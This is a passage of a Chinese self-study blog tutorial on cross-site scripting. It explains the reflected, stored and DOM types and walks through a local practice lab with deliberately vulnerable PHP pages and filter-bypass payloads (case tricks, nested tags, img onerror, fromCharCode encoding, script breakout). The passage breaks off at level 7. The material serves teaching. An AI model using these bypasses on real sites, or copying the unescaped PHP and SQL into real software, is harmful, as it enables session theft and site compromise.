字节跳动 acm mvvm sharepoint gwt matlab向上取整 io textview mui bootstrap文件上传样式 不用u盘装双系统 磁盘清理会误删东西吗 python开发 python图形化编程 python学习教程 javase教程 java中map java的框架 linux的安装 电子书之家 视频加字幕软件哪个好 winhex使用教程 字幕提取 winterboard cf透视辅助 通讯录管理系统 msn格式 ip地址转换器 phpword 苹果手机不弹出信任 java表白代码 renderpartial 360越狱版 dnf胜利的证明有什么用 cad2008汉化包 lol世界第一 狂战传说套装选择 小米官翻版 楷体gbk 伏魔战记隐藏英雄
当前位置: 首页 > 学习教程  > 编程学习

[网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)

2021/1/9 2:02:39 文章标签: 跨站攻击

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了肖老师(Seak)的分享,介绍恶意代码与APT攻击中的武器&#xff…

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了肖老师(Seak)的分享,介绍恶意代码与APT攻击中的武器,包括A2PT的攻击武器、普通APT组织的自研恶意代码、商用恶意代码、无恶意代码作业、开源和免费工具等。这些天分享了很多系统安全和软件安全的知识,接下来让我们回归网络安全,做做XSS跨站脚本攻击案例。这些题目来自Fox好友,在此感谢他。主要内容包括XSS原理、不同类型的XSS、XSS靶场9道题目、如何防御XSS。基础性文章,希望对您有所帮助~

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

文章目录

  • 一.XSS原理
  • 二.不同类型的XSS
    • 1.反射型
    • 2.存储型
    • 3.DOM型
  • 三.XSS案例:第1关
  • 四.XSS案例:第2关
  • 五.XSS案例:第3关
  • 六.XSS案例:第4关
  • 七.XSS案例:第5关
  • 八.XSS案例:第6关
  • 九.XSS案例:第7关
  • 十.XSS案例:第8关
  • 十一.XSS案例:第9关
  • 十二.如何防御XSS
    • 1.输入过滤
    • 2.输出编码
    • 3.标签黑白名单过滤
    • 4.代码实体转义
    • 5.httponly防止cookie被盗取
  • 十三.总结

PS:本文参考了Fox好友视频、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
XSS案例:https://github.com/eastmountyxz/XSS-Experiment


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
[网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
[网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
[网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
[网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
[网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.XSS原理

推荐前文:
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
FOX好友:https://www.bilibili.com/video/BV157411L789
XSS(跨站脚本攻击)详解 - CSDN谢公子大佬
《XSS跨站脚本攻击剖析与防御》 邱永华老师

跨站脚本攻击(Cross-site scripting,XSS) 是指恶意攻击者往Web页面里插入恶意代码,当用户浏览该网页时,嵌入Web中的恶意代码就会被执行,从而达到恶意攻击用户的目的。其英文名称缩写为CSS,为了与层叠样式表(Cascading Style Sheets)区分,所以才叫XSS。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

在这里插入图片描述


漏洞成因
XSS归根结底是因为程序中没有过滤用户输入的内容,假如用户输入的内容中含有特殊字符,如< >,这样浏览器会误以为是HTML标签中去执行,从而产生XSS漏洞。如下图所示,在URL中将搜索关键字设置为JS代码,执行了alert()函数。该图中,上面有一个URL,下面是一个页面返回的HTML代码,我们可以看到白色部分HTML是我们事先定义好的,黑色部分参数是用户想搜索的关键词。当我们搜索了test+Div最后等于123,后台反馈页面的搜索引擎会告诉用户搜索了什么关键词,结果如何等等。

在这里插入图片描述

这个地方如果没有做好转移,可能会造成XSS跨站,我们可以看到蓝色部分是我们事先定义好的结构,被攻击者利用之后它先把这个DIV结束了,最后加上一个script标签,它也有可能不跟你谈标签,直接发送到它的服务器上。参数未经过安全过滤,然后恶意脚本被放到网页中执行,用户浏览的时候就会执行了这个脚本。该漏洞存在的主要原因为:

  • 参数输入未经过安全过滤
  • 恶意脚本被输出到网页
  • 用户的浏览器执行了恶意脚本

XSS主要危害

  • 网络钓鱼,包括盗取各类用户账号
  • 窃取用户Cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
  • 劫持用户浏览器会话,从而执行任意 操作,例如进行非法转账、强制发表日志、发送电子邮件等
  • 强制弹出广告页面、恶意刷流量等
  • 网站挂马,进行恶意操作,例如任意篡改页面信息、非法获取网站信息、删除文件等
  • 进行大量的客户端攻击,例如DDOS攻击、传播跨站脚本蠕虫等
  • 获取用户端信息 ,例如用户的浏览记录、真实IP地址、开放的端口等
  • 结合其他漏洞,如CSRF漏洞,实施进一步作恶

在这里插入图片描述



二.不同类型的XSS

XSS分为三种类型:反射型、存储型以及DOM型。

在这里插入图片描述


1.反射型

反射型XSS又称为非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广泛的一种,主要用于恶意脚本附加到URL地址的参数中。它需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面、输入框、URL参数处。反射型XSS大多数是用来盗取用户的Cookie信息。

  • 特点:非持久性

其攻击流程如下图所示:

在这里插入图片描述

示例:这就是最基本的反射型的XSS漏洞,其代码如前面所述。

  • 漏洞数据流向是: 前端–>后端–>前端
//前端页面 index.html
<html>
	<head><title>XSS测试1</title></head>
	<body>
		<form action='xss.php' method="get">
		请输入用户名:<br>
		<input type="text" name="name" value="" />
		<input type="submit" name="提交" />
		</form>
	</body>
</html>

//后端页面 xss.php
<?php
	$name = $_POST['name'];
	echo $name;
?>

当用户提交数据,输入 < script>alert(‘hack’)< /script> 代码会提交给后台,并弹出hack页面,这就表示我们的恶意语句被页面执行了。

在这里插入图片描述

在这里插入图片描述



2.存储型

存储型XSS又称为持久型跨站脚本,比反射型XSS更具威胁性,并且可能影响到Web服务器自身安全。它的代码是存储在服务器中的,如在个人信息或发表文章等地方插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。存储型XSS一般出现在、评论、博客日志等于用户交互处,这种XSS比较危险,容易造成蠕虫、盗窃cookie等。

  • 特点:持久性

其攻击流程如下图所示:

在这里插入图片描述

在存储型XSS中,可以看到这个URL上面并没有代码,但是依然弹出了一个“1”。它是发现个人资料页的时候有一个XSS漏洞,在个性签名的位置填入了一个XSS标签,弹出了一个“1”,把这个地址发给别人,别人看到这个地址并没有什么代码以为这个页面是安全的,结果一打开就插入了这个XSS代码。

存储型XSS的攻击危害比较大,因为它的页面当中是看不到这个Script的代码,别人防不胜防。只要管理员没有发现,下一个用户或者下一个用户一直接发它,而反射型需要用户主动点击的。

在这里插入图片描述


示例:假设现在存在一个 index2.html 代码,用户提交ID和用户名并存储至数据库中。

<html>
	<head><title>XSS测试2</title></head>
	<body>
		欢迎大家阅读CSDN Eastmount的博客,一起进步,一起加油喔!<br />
		<form action='xss2.php' method="post">
		请输入用户名:<br>
		ID:<input type="text" name="id" value="" /> <br />
		Name:<input type="text" name="name" value="" /> <br />
		<input type="submit" name="提交" />
		</form>
	</body>
</html>

xss2.php代码如下所示:

<?php
	//获取提交的表单值
	$id=$_POST["id"];
	$name=$_POST["name"];
	echo $id,'<br />';
	echo $name,'<br />';
	
	//连接数据库
	//因为PHP版本是7.3的,因此用mysqli_connect()而不是用mysql_connect()
	$con = mysqli_connect("localhost","root","123456", "xssdb");
	if (!$con) 
	{ 
		die('Could not connect database: ' . mysqli_error()); 
	}

	//插入数据表
	$sql = "insert into xss (id,name) values ('{$id}','{$name}');";
	echo $sql;
	$result 

此时另一个页面 select.php 负责提供给其他用户访问,则可以看到我们的信息。

<?php
	$id = $_GET['id'];

	//链接数据库
	$con = mysqli_connect("localhost","root","123456", "xssdb");
	
	//查询数据
	$sql = "select * from xss where id='{$id}';";
	$result = mysqli_query($con, $sql);
	
	//$data = mysqli_fetch_all($result); // 从结果集中获取所有数据
	//print_r($data);
	
	while($row = mysqli_fetch_assoc($result)) {
		echo $row['name'];
	}
?>

当我们输入正确的值,如下图所示:
id:1
name:yangxiuzhang

在这里插入图片描述


在这里插入图片描述

此时数据库中可以看到我们插入的值。

在这里插入图片描述

通过本地网址(localhost:8088/xss/select.php?id=1)我们能获取id为1对应的name值。

在这里插入图片描述

当我们输入JS代码时,该程序又将如何运行呢?接着我们插入如下数据:
id:2
name:< script>alert(‘hack’)< /script>

注意,这里的hack的单引号要进行转义,因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号,不然注入不进去。

在这里插入图片描述

原理:
用户提交数据到后端,后端存储至数据库中,然后当其他用户访问查询页面时,后端调出数据库中的数据,显示给另一个用户,此时的XSS代码就被执行了。

在这里插入图片描述

此时数据库插入的内容如下所示,可以看到JS代码已经成功插入我们的后台。

在这里插入图片描述

最后,我们调用 select.php (localhost:8088/xss/select.php?id=2)页面,可以看到成功执行了该脚本文件。

  • 存储型XSS的数据流向为:前端–>后端–>数据库–>后端–>前端

在这里插入图片描述



3.DOM型

首先,什么是DOM呢?
DOM是指文档对象模型(Document Object Model),是一个平台中立和语言中立的接口,也是处理可扩展标记语言的标准编程接口,有的程序和脚本可以动态访问和修改文档的内容、结构和样式。在Web开发领域的技术浪潮中,DOM是开发者能用来提升用户体验的最重要的技术之一,而且几乎所有的现在浏览器都支持DOM。

其次,什么是DOM-XSS呢?
DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

  • 特点:DOM-XSS不与后台交互

DOM型的XSS是一些有安全意识的开发者弄出来的,比如说接受参数会做一些过滤,把一些字符转义一下,但是转义之后依然会存在着XSS的情况。常见可能触发DOM-XSS的属性包括:document.referer、window.name、location、innerHTML、documen.write等。

下面Script通过ID获得的这个值,复制到了这个DIV上,经过DOM操作之后,之前转义的字符就变为它的标签,所以经过DOM操作的XSS我们称之为DOM-XSS。它有可能通过URL传播,也有可能通过服务器传播。

在这里插入图片描述

最后,DOM型跨站脚本的攻击是如何实现呢?
下面简单讲解一个DOM-XSS代码,假设前端是一个index3.html页面。

<html>
	<head><title>DOM-XSS测试3</title></head>
	<body>
		欢迎大家阅读CSDN Eastmount的博客,一起进步,一起加油喔!<br />
		<form action='xss3.php' method="post">
		请输入用户名:<br>
		<input type="text" name="name" value="" style="width:400px" /> <br />
		<input type="submit" name="提交" />
		</form>
	</body>
</html>

接着设置后台页面,xss3.php用于获取提交的值并显示其在页面中。注意,代码是获取username中的值,然后显示在print内,这也是导致XSS的原因。

<?php
	//获取提交的表单值
	$name=$_POST["name"];
?>	
<input id="username" type="text" value="<?php echo $name; ?>"/>

<div id="print">
	<!-- 显示获取的内容 -->
</div>
<script type="text/javascript">
  //获取username值并输出在print内,这里是导致xss的主要原因
  var text = document.getElementById("username");
  var print = document.getElementById("print");
  print.innerHTML=text.value;  
</script>

此时,当我们输入正常的参数,它显示的结果如下图所示,是正常显示的。

在这里插入图片描述
在这里插入图片描述

而当我们输入恶意代码的时候,比如提交 <img src=1 οnerrοr=alert(‘hack’) /> 给后台,它会执行我们的JS代码,弹出hack的窗体。从而证明了DOM-XXSS是存在的。

  • DOM型跨站脚本漏洞的数据流向是:前端->浏览器

在这里插入图片描述

在这里插入图片描述



三.XSS案例:第1关

首先,看下弹窗机制。

  • 利用基本的script标签来弹窗
    < script>alert(‘xss’)</ script>
  • 利用iframe标签的src属性来弹窗
    < iframe src=javascript:alert(‘xss’)></ iframe>
  • 利用标签的href属性来弹窗
    < a href=javascript:alert(‘xss’)>Eastmount</ a>
    此时超链接javascript:alert(‘xss’)效果和浏览器直接打开这个地址是一样的,这里还可以使用javascript:alert(document.cookie)来弹出当前会话的cookie。
  • 利用标签来弹窗
    < img scr=1 οnerrοr=alert(‘xss’)>
    借用img标签的onerror事件,img标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。可以使用一张提示错误的图片代替显示不了的图片。
    < img src=“http://www.baidu.com/img/logo.gif” οnclick=alert(‘xss’)>
    当src后面的值正确时,可以用onclick事件来触发弹窗。这里不论src后面的值是否正确,只要点击鼠标,就会触发弹窗事件。

接着用WAMP()搭建环境,大家也可以用PHPSTUDY或服务器。

在这里插入图片描述

九道题目对应的位置如下,htdocs/xss路径下。

在这里插入图片描述


XSS靶场第一关源码

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>FOX-XSS闯关-第一关</title>
</head>
<body>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
	color: #F00;
}
</style>

<hr>

<h1>FOX-XSS闯关-第一关</h1><hr>
<h3>提示:以get传递name参数名,如xxs1.php?name=fox<br>
任务要求:绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<?php
	header("Content-Type:text/html; charset=utf-8");
	if(isset($_GET)&&!empty($_GET)) {
		$name = $_GET["name"];
		echo $name;
	}
?>
</body>
</html>

运行结果如下图所示:

在这里插入图片描述


当我们输入“fox”值是弹出对应的结构,如下图所示:

  • http://localhost/xss/xss1.php?name=fox

在这里插入图片描述


分析源码

  • 无过滤,直接用常规的进行绕过
  • < script>alert(‘Eastmount’)</ script>
    注意:作者增加了多余的空格,否则Markdown无法显示上述脚本代码。

在这里插入图片描述

运行结果如下图所示,直接弹窗,这也是最简单的情况。

在这里插入图片描述



四.XSS案例:第2关

XSS靶场第二关源码

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>FOX-XSS闯关-第二关</title>
</head>
<body>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
	color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第二关</h1><hr>
<h3>提示:以get传递name参数名,如xxs2.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<?php
	header("Content-Type:text/html; charset=utf-8");
	if(isset($_GET)&&!empty($_GET)) {
		$name = $_GET["name"];
		$name = preg_replace("/<script>/","",$name);
		$name = preg_replace("/<\/script>/","", $name);
		echo $name;
	}
?>
</body>
</html>

当我们输入 < script>alert(‘Eastmount’)</ script> 时,并没有弹出窗体,运行结果如下图所示:

在这里插入图片描述

接着我们查看源代码,如下图所示:

在这里插入图片描述


分析源码

  • 发现存在对script进行过滤
  • 过滤语句:preg_replace("/< script >/","",$name)
  • 存在问题:没有进行大小写过滤,可以改变大写进行绕过
  • < Script>alert(‘Eastmount’)</ scripT>

preg_replace()函数如果检测到< script >和</ script >就会把其替换为指定字符(区分大小写)。

在这里插入图片描述

运行结果如下图所示,直接弹窗,通过大小写实现绕过。

在这里插入图片描述



五.XSS案例:第3关

XSS靶场第三关源码

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>FOX-XSS闯关-第三关</title>
</head>
<body>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
	color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第三关</h1><hr>
<h3>提示:以get传递name参数名,如xxs3.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<?php
	header("Content-Type: text/html; charset=utf-8");
	if(isset($_GET)&&!empty($_GET)) {
		$name = $_GET["name"];
		$name = preg_replace("/<script>/i","", $name);
		$name = preg_replace("/<\/script>/i","", $name);
		echo $name;
	}
?>
</body>
</html>

当我们输入 < script>alert(‘Eastmount’)</ script> 时,并没有弹出窗体,运行结果如下图所示:

在这里插入图片描述


分析源码

  • 发现存在对script进行过滤,同时源码中“i”表示
  • 过滤语句:preg_replace("/< script >/i","", $name);
  • 存在问题:这里还是用preg_replace()函数,只不过这里替换时不区分大小写,所以这里我们不能用大小写绕过,但可以用双写或者嵌套绕过
  • < sc< script>ript>alert(‘Eastmount’)</ s</ script>cript>

在这里插入图片描述

运行结果如下图所示,直接弹窗,同时双写嵌套实现绕过。

在这里插入图片描述

也可以通过其它方法进行XSS攻击。
name=< img src=“http://www.baidu.com/img/logo.gif” οnclick=alert(‘xss’)>

在这里插入图片描述



六.XSS案例:第4关

XSS靶场第四关源码

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>FOX-XSS闯关-第四关</title>
</head>
<body>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
	color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第四关</h1><hr>
<h3>提示:以get传递name参数名,如xxs4.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
<?php
	header("Content-Type: text/html; charset=utf-8");
	if(isset($_GET)&&!empty($_GET)) {
		if (preg_match('/script/i', $_GET["name"])) {
			die("error");
		}
	}
?>

Hello 
<?php 
	if(isset($_GET)&&!empty($_GET)) {
		echo $_GET["name"];
		}
?>

</body>
</html>

当我们输入包含script字样就提示错误,并没有弹出窗体,运行结果如下图所示:

在这里插入图片描述


分析源码

  • 发现存在对script进行过滤,get传来name参数,然后判断有没有script
  • 过滤语句:preg_match(’/script/i’, $_GET[“name”])
  • 存在问题:调用preg_match()函数,只要在获取的参数中含有script字符串即报错
  • < img src=“1” οnerrοr=“alert(‘Eastmount’)”>
    使用img标签来绕过,img src调用图片失败然后执行后面的动作

在这里插入图片描述

运行结果如下图所示,直接弹窗,通过插入图片onerror调用alert函数绕过。

在这里插入图片描述



七.XSS案例:第5关

XSS靶场第五关源码

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>FOX-XSS闯关-第五关</title>
</head>
<body>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
	color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第五关</h1><hr>
<h3>提示:以get传递name参数名,如xxs5.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
<?php
	header("Content-type: text/html; charset=utf-8");
	if(isset($_GET)&&!empty($_GET)) {
		if (preg_match('/alert/i', $_GET["name"])) {
			die("error");
		}
	}
?>

Hello 

<?php 
	if(isset($_GET)&&!empty($_GET)) {
		echo $_GET["name"]; 
	}
?>

</body>
</html>

当我们输入包含alert字样就提示错误,并没有弹出窗体,运行结果如下图所示:

在这里插入图片描述


分析源码

  • 发现存在对alert进行过滤
  • 过滤语句:preg_match(’/alert/i’, $_GET[“name”])
  • 存在问题:调用preg_match()函数,只要在获取的参数中含有alert字符串即报错,也就是我们的Payload的中不能出现alert,这样的情况下可以用编码来绕过
  • JavaScript fromCharCode()

在这里插入图片描述

fromCharCode()可接受一个指定的Unicode值,然后返回一个字符串。注意,该方法是String的静态方法,字符串的每个字符都由单独的Unicode数字编码指定,使用语法为:String.fromCharCode()。

在这里插入图片描述

在线转换网站:http://tool.chinaz.com/Tools/Unicode.aspx

在这里插入图片描述

接着我们构建alert(‘Eastmount’)的ASC编码,如下图所示:

<script>eval(String.fromCharCode(97,108,101,114,116,40,39,69,97,115,116,109,111,117,110,116,39,41))</script>

在这里插入图片描述

运行结果如下图所示,直接弹窗,通过编码方式和fromCharCode组合绕过。

在这里插入图片描述



八.XSS案例:第6关

XSS靶场第六关源码

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>FOX-XSS闯关-第六关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
	color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第六关</h1><hr>
<h3>提示:以get传递name参数名,如xxs6.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<script>
	var $a = "<?php  echo $_GET["name"]; ?>";
</script>
</body>
</html>

当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

在这里插入图片描述

源码如下图所示,它有个$a赋值变量。

在这里插入图片描述


分析源码

  • 发现是在JS环境中输入PHP变量,接收get传来的name参数赋值给$a
  • 过滤语句:var $a = “<?php echo $_GET["name"]; ?>”;
  • 存在问题:可以通过构造JS脚本使标签闭合然后加入新标签
  • </ script>< script>alert('Eastmount)</ script>
  • 1";</ script>< img scr=1 οnerrοr=alert(‘Eastmount’)>< script>

该变量在< script>标签中,只要能够突破这个赋值变量,就可以利用这个< script>标签来弹窗,类似于SQL注入的闭合前面的语句,然后重新赋值。

在这里插入图片描述

匹配过程如下,最终实现img弹出alert,下面的匹配过程希望大家好好理解,从上往下实现。

在这里插入图片描述

运行结果如下图所示,直接弹窗,通过JS闭合标签实现绕过。

在这里插入图片描述

在这里插入图片描述

另一种方法如下图所示:

在这里插入图片描述



九.XSS案例:第7关

XSS靶场第七关源码

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>FOX-XSS闯关-第七关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
